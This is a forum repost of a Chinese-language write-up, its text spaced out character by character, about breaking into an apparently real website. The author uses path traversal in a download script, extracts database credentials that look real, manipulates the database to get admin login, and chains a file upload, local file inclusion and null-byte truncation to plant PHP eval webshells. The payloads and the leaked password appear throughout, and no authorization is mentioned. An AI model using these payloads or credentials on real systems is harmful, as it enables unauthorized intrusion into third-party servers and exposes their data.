搜索

[22270] 2021-08-19_对某网站对一次基础渗透

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-08-19_对某网站对一次基础渗透 对 某 网 站 对 一 次 基 础 渗 透 暮 秋 初 九   L e m o n S e c   2 0 2 1 - 0 8 - 1 9 - - - 》 强 烈 推 荐 ： 强 烈 推 荐 ：         每 日 发 布 每 日 发 布   红 队 攻 防 技 术 文 章 、 蓝 队 防 守 技 术 文 章 、 红 队 攻 防 技 术 文 章 、 蓝 队 防 守 技 术 文 章 、 c t f 安 全 赛 事 技 术 文 章 、 安 全 运 维 基 线 文 章 、 以 及 不 定 期 安 全 赛 事 技 术 文 章 、 安 全 运 维 基 线 文 章 、 以 及 不 定 期 的 安 全 类 书 籍 抽 奖 ～ 的 安 全 类 书 籍 抽 奖 ～ 一 、 信 息 收 集 一 、 信 息 收 集 简 单 的 进 行 一 下 信 息 收 集 ， g o b y 工 具 走 一 下 ： 目 录 扫 描 直 接 访 问 p h p M y A d m i n ， 随 便 输 入 密 码 ， a d m i n / a d m i n ， 页 面 响 应 虽 然 密 码 不 对 ， 但 是 允 许 远 程 连 接 没 下 来 的 思 路 就 是 想 办 法 拿 到 账 号 密 码 ， 这 里 可 以 尝 试 爆 破 、 获 取 后 台 数 据 库 配 置 文 件 等 等 拿 到 密 码 ， 先 放 这 里 继 续 往 下 看 。 二 、 漏 洞 挖 掘 二 、 漏 洞 挖 掘 8 0 端 口 是 个 w e b 服 务 ， 访 问 一 下 大 体 浏 览 一 下 ， 有 一 个 文 件 下 载 页 面 这 个 页 面 就 比 较 奇 怪 ， 不 输 入 任 何 字 符 直 接 下 载 了 文 件 ， 查 看 文 件 是 乱 码 [ 2 0 0 ] [ t e x t / h t m l ] [ 1 . 6 7 k b ]   h t t p : / / w w w . x x x x x x / 2 4 [ 2 0 0 ] [ t e x t / h t m l ] [ 0 b ]   h t t p : / / w w w . x x x x x x / a d m / [ 2 0 0 ] [ t e x t / h t m l ] [ 0 b ]   h t t p : / / w w w . x x x x x x / a d m / i n d e x . p h p [ 2 0 0 ] [ a p p l i c a t i o n / x m l ] [ 3 4 1 . 0 0 b ]   h t t p : / / w w w . x x x x x x / c r o s s d o m a i n . x m l [ 2 0 0 ] [ t e x t / h t m l ] [ 2 . 7 1 k b ]   h t t p : / / w w w . x x x x x x / h e l p / [ 2 0 0 ] [ t e x t / p l a i n ] [ 3 . 5 6 k b ]   h t t p : / / w w w . x x x x x x / i n d e x . b a k [ 2 0 0 ] [ t e x t / h t m l ] [ 1 3 2 . 0 0 b ]   h t t p : / / w w w . x x x x x x / m a n a g e / [ 2 0 0 ] [ t e x t / h t m l ] [ 1 2 7 . 0 0 b ]   h t t p : / / w w w . x x x x x x / m a n a g e r / [ 2 0 0 ] [ t e x t / h t m l ] [ 8 . 2 1 k b ]   h t t p : / / w w w . x x x x x x / m a n u a l / i n d e x . h t m l [ 2 0 0 ] [ t e x t / h t m l ;   c h a r s e t = u t f - 8 ] [ 8 . 4 8 k b ]   h t t p : / / w w w . x x x x x x / p h p M y A d m i n / [ 2 0 0 ] [ a p p l i c a t i o n / x m l ] [ 0 b ]   h t t p : / / w w w . x x x x x x / r s s [ 2 0 0 ] [ t e x t / h t m l ] [ 7 8 0 . 0 0 b ]   h t t p : / / w w w . x x x x x x / r o o t / [ 2 0 0 ] [ t e x t / h t m l ] [ 2 1 . 6 9 k b ]   h t t p : / / w w w . x x x x x x / t e m p / # 1 0 4 5   -   A c c e s s   d e n i e d   f o r   u s e r   ' a d m i n ' @ ' l o c a l h o s t '   ( u s i n g   p a s s w o r d :   Y E S ) h t t p : / / w w w . x x x x x / i n c l u d e / d o w n l o a d . p h p ? f = d o w n l o a d . p h p
更 换 编 码 怎 么 都 不 行 ， 后 来 问 一 下 其 他 前 辈 ， 使 用 命 令 ： 一 堆 文 件 ， 和 目 录 。 接 着 尝 试 一 下 l i n u x 比 较 敏 感 的 文 件 ： ➜   ~   c a t   / U s e r s / a p p l e / D o w n l o a d s / d o w n l o a d . p h p   .         . .                 A p p # $ N d a t a l 0 5 0 . p h p h p . s w p p . i n d e x . p h p . s w x                                                                                                                 H X Z f u n n s t r i n g s ➜   D o w n l o a d s   s t r i n g s   / U s e r s / a p p l e / D o w n l o a d s / d o w n l o a d . p h p h o m e 1 h o m e 1 0 h o m e 1 1 h o m e 1 2 h o m e 1 3 h o m e 2 h o m e 3 h o m e 3 _ t e s t 0 1 h o m e 4 h o m e 5 h o m e 8 h o m e 9 i n c l u d e l e o - p a c k m a n a g e m a n a g e n m a n a g e r m a n a g e r n m i c a h n e w - f u n c t i o n n u t r i t i o n p _ c a r d p h p M y A d m i n / c o n f i g . i n c . p h p r o o t s c h o o l m a n a s t u d e n t s y s t e m t a l k t e a c h e r t e m p t e m p 2 x l i b ! . g i f 2 4 . p h p 3 _ 8 . g i f 3 _ 9 . g i f Z i n d e x . p h p b u i l d i n g . p h p c r o s s d o m a i n . x m l d a t a d o w n _ c l a s s . b a k d o w n _ c l a s s . t x t i n d e x - o l d . p h p i n d e x . b a k i n d e x . p h p l u r k e r - o l d . p h p l u r k e r . b a k l u r k e r . p h p r s s . b a k l u r k e r _ 2 0 1 0 0 8 1 8 . p h p p h p i n f o r m a t i o n . p h p r s s . x m l s y s t e s t . p h p . i n d e x . p h p . s w p . i n d e x . p h p . s w x
发 现 在 使 用 目 录 跳 转 的 时 候 ， 页 面 空 白 。 如 果 直 接 使 用 文 件 路 径 会 直 接 下 载 文 件 而 且 文 件 空 白 ， 随 便 输 入 文 件 名 也 会 下 载 文 件 紧 接 着 尝 试 其 他 敏 感 文 件 ， a p a c h e 配 置 等 等 ， 本 想 着 b u r p 爆 破 一 下 还 是 算 了 。 接 着 尝 试 一 下 网 站 上 能 够 显 示 出 来 的 文 件 ， 直 接 输 入 文 件 全 路 径 试 试 ， 可 以 在 u r l 中 判 断 具 体 路 径 。 网 站 文 件 h o m e 1 2 ， 这 个 东 西 在 上 文 见 过 ， 就 是 网 站 根 目 录 的 一 个 目 录 ， 实 锤 了 绝 对 路 径 就 是 存 在 漏 洞 文 件 直 接 下 载 文 件 中 找 到 一 些 i n c 文 件 以 及 一 个 登 录 页 面 上 文 我 们 发 现 存 在 一 个 p h p a d m i n 目 录 ， 想 一 下 p h p a d m i n 的 常 见 配 置 文 件 ， 尝 试 下 载 ， 。 找 到 了 一 个 被 注 释 的 账 号 密 码 ， 尝 试 了 一 下 也 不 太 好 使 。 / e t c / p a s s w d / r o o t / . b a s h _ h i s t o r y . . / . . / . . / . . / . . / e t c / p a s s w d f = . . / . . / . . / . . / . . / . . / e t c / p a s s w d f = / e t c / p a s s w d f = q q q f = a a a h t t p : / / w w w . r o o t . o r g . t w / h o m e 1 2 / 9 8 4 7 / s e r v i c e . p h p h o m e 1 2 / 9 8 4 7 / s e r v i c e . p h p h t t p : / / w w w . r o o t . o r g . t w / i n c l u d e / d o w n l o a d . p h p ? f = h t t p : / / w w w . r o o t . o r g . t w / i n c l u d e / d o w n l o a d . p h p ? f = / h o m e 1 2 / 9 8 4 7 / s e r v i c e . p h p / p h p M y A d m i n / c o n f i g . i n c . p h p / *   U s e r   f o r   a d v a n c e d   f e a t u r e s   * / / /   $ c f g [ ' S e r v e r s ' ] [ $ i ] [ ' c o n t r o l u s e r ' ]   =   ' p m a ' ; / /   $ c f g [ ' S e r v e r s ' ] [ $ i ] [ ' c o n t r o l p a s s ' ]   =   ' p m a p a s s ' ; / *   A d v a n c e d   p h p M y A d m i n   f e a t u r e s   * / $ c f g [ ' S e r v e r s ' ] [ $ i ] [ ' p m a d b ' ]   =   ' p h p m y a d m i n ' ; $ c f g [ ' S e r v e r s ' ] [ $ i ] [ ' b o o k m a r k t a b l e ' ]   =   ' p m a _ b o o k m a r k ' ; $ c f g [ ' S e r v e r s ' ] [ $ i ] [ ' r e l a t i o n ' ]   =   ' p m a _ r e l a t i o n ' ; $ c f g [ ' S e r v e r s ' ] [ $ i ] [ ' t a b l e _ i n f o ' ]   =   ' p m a _ t a b l e _ i n f o ' ;
继 续 下 载 了 其 他 几 个 文 件 ， 没 有 什 么 特 别 的 利 用 价 值 ， 回 想 到 之 前 下 载 的 文 件 ， 里 面 有 许 多 的 目 录 名 字 ， 结 合 当 前 站 的 目 录 ， 会 不 会 有 其 他 站 点 ？ f o f a 插 件 搜 一 搜 ， 好 多 其 他 站 点 。 那 就 从 其 他 站 点 下 手 ， 简 单 的 看 了 一 下 没 什 么 可 利 用 的 ， 后 来 想 了 想 最 近 开 发 学 的 知 识 ， 一 般 的 M V C 模 式 ， 会 在 i n d e x 文 件 中 ， 包 含 一 个 初 始 框 架 类 ， 在 框 架 类 中 自 动 包 含 数 据 库 配 置 文 件 。 F r a m e . c l a s s . p h p h t t p : / / w w w . r o o t . o r g . t w / h o m e 1 2 / h o m e 1 3 h o m e 2 h o m e 3 h o m e 3 _ t e s t 0 1 h o m e 4 h o m e 5 h o m e 8 h o m e 9 < ? p h p / / ( 0 ) H o m e 应 用 常 量 定 义 d e f i n e ( " D S " , D I R E C T O R Y _ S E P A R A T O R ) ; / / 斜 线 ( / 、 ) ， 根 据 操 作 系 统 决 定 d e f i n e ( " R O O T _ P A T H " , g e t c w d ( ) . D S ) ; / / 网 站 根 目 录 d e f i n e ( " A P P _ P A T H " , R O O T _ P A T H . " H o m e " . D S ) ; / / 应 用 目 录 、 平 台 目 录 / / ( 1 ) 包 含 核 心 框 架 类 文 件 r e q u i r e ( R O O T _ P A T H . " F r a m e " . D S . " F r a m e . c l a s s . p h p " ) ; / / ( 2 ) 框 架 初 始 化 F r a m e F r a m e : : r u n ( ) ; ? >
看 了 看 这 个 站 ， 也 没 有 用 m c v 思 想 ， 但 是 你 必 须 要 加 载 配 置 文 件 连 接 数 据 库 ， 盲 猜 i n d e x . p h p 是 否 包 含 数 据 库 文 件 , 下 载 之 后 果 然 发 现 配 置 文 件 。 而 且 在 开 头 列 出 来 网 站 的 大 体 目 录 结 构 ( 搞 完 站 点 之 后 ， 分 析 一 下 下 载 页 面 的 逻 辑 结 构 ) 直 接 下 载 文 件 下 载 下 来 目 录 为 空 ， 路 径 错 了 ， 可 是 明 明 在 i n d e x 文 件 下 直 接 包 含 ， 而 且 i n d e x 文 件 在 / h o m e 1 2 目 录 下 。 继 续 找 路 径 ， 在 上 面 的 图 片 发 现 i n c l u d e 文 件 下 有 许 多 i n c 文 件 ， d a t a b a s e 会 不 会 也 在 改 目 录 下 ？ 尝 试 一 下 最 后 拿 到 数 据 库 账 号 密 码 最 后 直 接 登 录 p h p a d m i n 三 、 获 取 三 、 获 取 s h e l l 1 、 、 p h p a d m i n / / 私 有 的 静 态 的 初 始 化 配 置 文 件         p r i v a t e   s t a t i c   f u n c t i o n   i n i t C o n f i g ( )         {                 $ G L O B A L S [ ' c o n f i g ' ]   =   r e q u i r e _ o n c e ( A P P _ P A T H . " C o n f " . D S . " C o n f i g . p h p " ) ;         } i n c l u d e ( ' t o p . i n c ' ) ; i n c l u d e ( ' d a t a b a s e . i n c ' ) ; $ m s g d i r = ' . . / l a n g u a g e ' ; $ m s g f i l e = ' i n d e x ' ; i n c l u d e ( ' m s g . i n c ' ) ; i n c l u d e ( ' c u t . i n c ' ) ; d o w n l o a d . p h p ? f = / h o m e 1 2 / d a t a b a s e . i n c d o w n l o a d . p h p ? f = / h o m e 1 2 / i n c l u d e . i n c $ s q l S e r v e r I p   =   ' l o c a l h o s t ' ;   / /   s q l   s e r v e r   i p                 $ u s e r N a m e   =   ' a r c o ' ;   / /   s q l   l o g i n   n a m e                 $ p a s s W o r d   =   ' s u 3 c l 3 ' ;   / /   s q l   l o g i n   p a s s w o r d                 $ d b N a m e   =   ' m d n ' ;   / /   s q l   d a t a b a s e   n a m e S H O W   G L O B A L   V A R I A B L E S   L I K E   " % s e c u r e % "
为 空 ， 表 示 对 目 录 没 有 限 制 权 限 不 允 许 在 表 中 发 现 该 用 户 的 权 限 很 少 。 既 然 没 权 限 日 志 也 不 能 拿 s h e l l ， 还 是 试 试 吧 。 日 志 拿 s h e l l 2 、 文 件 上 传 与 文 件 包 含 、 文 件 上 传 与 文 件 包 含 p h p a d m i n 拿 不 到 尝 试 后 台 能 不 能 拿 到 s h e l l ， 数 据 库 配 置 文 件 已 经 拿 到 了 ， 但 是 表 太 多 了 无 法 找 到 用 户 账 号 密 码 这 里 下 载 代 码 找 一 下 s l q 语 句 执 行 的 位 置 。 包 含 一 下 文 件 输 入 账 户 密 码 ， 我 还 自 己 添 加 了 一 个 a d m i n / a d m i n ， 但 是 死 活 进 不 去 ， 查 看 了 数 据 库 结 构 其 中 也 个 选 项 s e l e c t   ' < ? p h p   @ e v a l ( $ _ P O S T [ p a s s ] ) ; ? > '   i n t o   o u t f i l e   ' / h o m e 1 2 / 9 8 4 7 / s h e l l . p h p ' ; # 1 0 4 5   -   A c c e s s   d e n i e d   f o r   u s e r   ' a r c o ' @ ' l o c a l h o s t '   ( u s i n g   p a s s w o r d :   Y E S ) i n f o r m a t i o n . U S E R _ P R I V I L E G E S G R A N T E E   T A B L E _ C A T A L O G   P R I V I L E G E _ T Y P E   I S _ G R A N T A B L E ' a r c o ' @ ' l o c a l h o s t '   N U L L   C R E A T E   T E M P O R A R Y             T A B L E S         N O ' a r c o ' @ ' l o c a l h o s t '       N U L L                                 L O C K                                   T A B L E S         N O s h o w   g l o b a l   v a r i a b l e s   l i k e   " % g e n e r a % " ;   / / 查 询 g e n e r a l _ l o g 配 置 ` V a r i a b l e _ n a m e   V a l u e g e n e r a l _ l o g   O F F g e n e r a l _ l o g _ f i l e   / d a t a / m y s q l 5 / v a r / d b . l o g s e t   g l o b a l   g e n e r a l _ l o g = ' o n ' ;   / / 开 启 g e n e r a l   l o g 模 式 # 1 2 2 7   -   A c c e s s   d e n i e d ;   y o u   n e e d   t h e   S U P E R   p r i v i l e g e   f o r   t h i s   o p e r a t i o n $ s q l S e r v e r I p   =   ' l o c a l h o s t ' ;   / /   s q l   s e r v e r   i p                 $ u s e r N a m e   =   ' a r c o ' ;   / /   s q l   l o g i n   n a m e                 $ p a s s W o r d   =   ' s u 3 c l 3 ' ;   / /   s q l   l o g i n   p a s s w o r d                 $ d b N a m e   =   ' m d n ' ;   / /   s q l   d a t a b a s e   n a m e / h o m e 1 2 / l o g i n / i n d e x . p h p ? s i d = 9 8 4 6 < F O R M   n a m e = f o r m 1   a c t i o n = ' l o g i n 0 . p h p '   m e t h o d = p o s t   t a r g e t = t m p > / h o m e / l o g i n / l o g i n 0 . p h p $ d m 1 _ s q l   =   " s e l e c t   u i d , t y p e   f r o m   a _ u s e r s   w h e r e   l o g i d = ' $ u s e r '   a n d   p w d = ' $ p a s s ' " ; s t a t u s   1 : 帐 号 冻 结   2 : 幽 灵 帐 号
所 有 的 账 户 s t a t u s 值 都 是 0 ， 该 选 项 不 会 影 响 ， 直 接 审 计 一 下 源 码 吧 。 一 开 始 没 看 出 来 ， 后 来 仔 细 一 看 数 据 库 语 句 出 现 了 问 题 这 里 s e l e c t 出 的 是 t p y e ， 回 头 看 数 据 库 中 的 所 有 用 户 账 户 t y p e 都 是 0 ， 直 接 数 据 库 改 一 下 为 1 。 最 后 直 接 登 录 。 登 录 之 后 可 以 上 传 头 像 ， 但 是 只 允 许 g i f 、 j p g ， 代 码 审 计 一 下 a . p h p i n c l u d e ( ' d m 1 . i n c ' ) ;         $ d t y p e   =   d m 1 ( ' d t y p e ' ,   0 ) ;         i f   ( $ t y p e   = =   1 )   :                 $ t y p e   =   9 9 ;         e l s e   :                 $ d m 1 _ s q l   =   " s e l e c t   t y p e   f r o m   a _ b e l o n g   w h e r e   u i d = ' $ u i d '   a n d   s i d = ' { $ s y s [ ' s i d ' ] } ' " ; / / &   $ d m 1 _ s q l   =   " s e l e c t   t y p e   f r o m   b e l o n g   w h e r e   u i d = ' $ u i d '   a n d   s i d = ' { $ s y s [ ' s i d ' ] } ' " ;                 i n c l u d e ( ' d m 1 . i n c ' ) ;                 i f   ( $ d m 1 _ c o u n t   = =   0 )   :                         e c h o   " a l e r t ( ' 帳 號 或 密 碼 錯 誤 ' ) ; n " ;                         e x i t   ( $ e n d ) ;                 e n d i f ;                 $ t y p e   =   d m 1 ( ' t y p e ' ,   0 ) ;         e n d i f ; i f   ( !   $ d m 1 _ d a t a   =   @ m y s q l _ q u e r y ( $ d m 1 _ s q l ) )   :                 e x i t ( " < s c r i p t > a l e r t ( " c a n   n o t   o p e n n $ d m 1 _ s q l n [ $ S C R I P T _ N A M E ]   "   .   m y s q l _ e r r o r ( )   .   " " ) ; < / s c r i p t > " ) ;         e n d i f ;         $ d m 1 _ c o u n t   =   m y s q l _ n u m _ r o w s ( $ d m 1 _ d a t a ) ;         i f   ( !   f u n c t i o n _ e x i s t s ( ' d m 1 ' ) )   :                 f u n c t i o n   d m 1 ( $ x , $ y ) {                         g l o b a l   $ d m 1 _ d a t a , $ d m 1 _ c o u n t ;                         i f   ( $ d m 1 _ c o u n t   = =   0 )   :                                 r e t u r n   ' ' ;                         e l s e   :                                 r e t u r n   t r i m ( m y s q l _ r e s u l t ( $ d m 1 _ d a t a ,   $ y ,   $ x ) ) ;                         e n d i f ;                 } ;         e n d i f ; ? > $ d m 1 _ s q l   =   " s e l e c t   t y p e   f r o m   b e l o n g   w h e r e   u i d = ' $ u i d '   a n d   s i d = ' { $ s y s [ ' s i d ' ] } ' " f u n n / i n d e x . p h p ? g o = a
P s : 这 里 存 在 文 件 包 含 漏 洞 ， 顺 手 测 试 了 一 下 代 审 的 流 程 ： 直 接 在 页 面 搜 索 p o s t ( 因 为 你 提 交 数 据 肯 定 是 p o s t 提 交 给 某 个 页 面 然 后 插 入 数 据 库 的 ) ， 然 后 发 现 提 交 表 单 到 a 0 . p h p 。 在 a 0 . p h p 中 使 用 i n c l u d e 包 含 文 件 对 上 传 的 文 件 进 行 处 理 这 里 只 能 配 合 解 析 漏 洞 ， 之 前 信 息 搜 集 a p a c h e 版 本 为 ： ， 2 . 0 之 后 的 A p a c h e   解 析 文 件 的 规 则 是 从 右 到 左 开 始 判 断 解 析 , 如 果 后 缀 名 为 不 可 识 别 文 件 解 析 , 就 再 往 左 判 断 。 但 是 我 们 这 里 的 后 缀 只 能 是 j p g 、 g i f ， a p a c h e 是 不 可 能 不 认 识 的 。 这 里 的 p h p 版 本 是 5 . 3 . 2 ， p h p   版 本 < 5 . 3 . 4 是 可 以 进 行 0 0 截 断 的 ， 并 且 我 们 这 里 上 传 路 径 是 不 可 控 制 的 。 上 传 图 片 马 的 话 a p a c h e 也 是 不 一 定 能 解 析 的 。 之 前 发 现 一 个 文 件 包 含 漏 洞 这 里 配 合 文 件 包 含 ， 上 传 s h e l l 讲 后 缀 修 改 为 . j p g ， 然 后 使 用 文 件 包 含 漏 洞 直 接 拿 包 含 文 件 。 执 行 之 后 , 页 面 没 有 反 应 < ?                                                 i f   ( i s s e t ( $ g o ) ) :                                                         $ g o . = ' . p h p ' ;                                                         i n c l u d e ( $ g o ) ;                                                 e l s e :                                                         i n c l u d e ( ' f u n . p h p ' ) ;                                                 e n d i f ;                                         ? > < f o r m   a c t i o n = " a 0 . p h p "   m e t h o d = " p o s t "   n a m e = " f o r m 1 "   t a r g e t = " t m p "   s t y l e = " m a r g i n : 1 "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a " > / f u n n / i n d e x . p h p ? g o = / e t c / p a s s w d % 0 0 f u n n / i n d e x . p h p ? g o = a s a v e _ g i f . i n c i f   ( $ m o d e   = =   ' s a v e _ m y d a t a ' )   :   / /   - - a . p h p   f o r m 1 _ s u b m i t ( ) - -         i n c l u d e ( ' a d d p o s t . i n c ' ) ;         $ r e s i z e M o d e = 1 ;         $ t a b l e   =   ' a _ u s e r s ' ;         $ k e y   =   ' u i d ' ;         $ i d   =   $ u i d ;         i n c l u d e ( ' s a v e _ g i f . i n c ' ) ; s a v e _ g i f . i n c i f   ( $ g i f   ! =   ' ' )   :         $ t i 1   =   s t r r p o s ( $ g i f _ n a m e ,   ' . ' ) ;         $ e x t = s u b s t r ( $ g i f _ n a m e ,   $ t i 1 ) ;         $ e x t   =   s t r t o l o w e r ( $ e x t ) ;         i f   ( $ e x t ! = ' . j p g '   & &   $ e x t   ! = ' . g i f ' ) :                 e c h o   " a l e r t ( ' 上 傳 圖 片 格 式 不 符 ； 只 接 受   j p g 、 g i f   圖 檔 ' ) ; n " ;                 e x i t   ( $ e n d ) ; 2 . 2 . 3 h t t p : / / w w w . / f u n n / i n d e x . p h p ? g o = / d a t a / u s e r p i c / 1 7 7 . j p g
文 件 没 有 包 含 进 来 ， 结 合 代 码 因 该 是 路 径 有 问 题 ， 要 么 绝 对 路 径 要 么 相 对 路 径 ， 尝 试 一 下 相 对 路 径 ： 最 后 尝 试 成 功 。 写 马 无 法 写 入 尝 试 ： 成 功 。 也 可 以 尝 试 从 旁 站 下 手 ， 旁 站 扫 描 ： 在 后 台 处 可 以 直 接 上 传 s h e l l 文 件 。 . . / . . / . . / . . / / d a t a / u s e r p i c / 2 . j p g % 0 0 . . / d a t a / u s e r p i c / 2 . j p g % 0 0 / d a t a / u s e r p i c / 2 . j p g % 0 0 < ? P H P   f p u t s ( f o p e n ( ' s h e l l . p h p ' , ' w ' ) , ' < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ? > ' ) ; ? > < ? p h p   f p u t s ( f o p e n ( ' . . / d a t a / u s e r p i c / s h e l l . p h p ' , ' w ' ) , ' < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ? > ' ) ; ? > h t t p s : / / s c a n . t o p 1 5 . c n / w e b / w e b s i d e
右 击 查 看 文 件 地 址 ： 连 接 s h e l l 最 后 分 析 了 一 下 文 件 下 载 漏 洞 页 面 的 源 码 ， 这 里 贴 一 下 主 要 的 ： 如 果 有 如 果 有 ' . . / ' ， 直 接 退 出 。 ， 直 接 退 出 。 N d a t a / 1 2 / m _ n e w s 2 / f i l e / 2 3 0 2 3 3 6 _ 1 . p h p < ?         i n c l u d e ( ' d a t a b a s e . i n c ' ) ;         i f   ( s t r s t r ( $ f   ,   " . . / " ) )   e x i t ( ) ; e l s e :         $ t s 1   =   d i r n a m e ( $ f ) ;           $ t s 2   =   b a s e n a m e ( $ f ) ;         @ r e a d f i l e ( " . . $ t s 1 / $ t s 2 " ) ; e n d i f ; ? > 来 源 ： 先 知 社 区 ， 反 馈 可 加 微 信 F a n t a s y o - 6 6 3 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理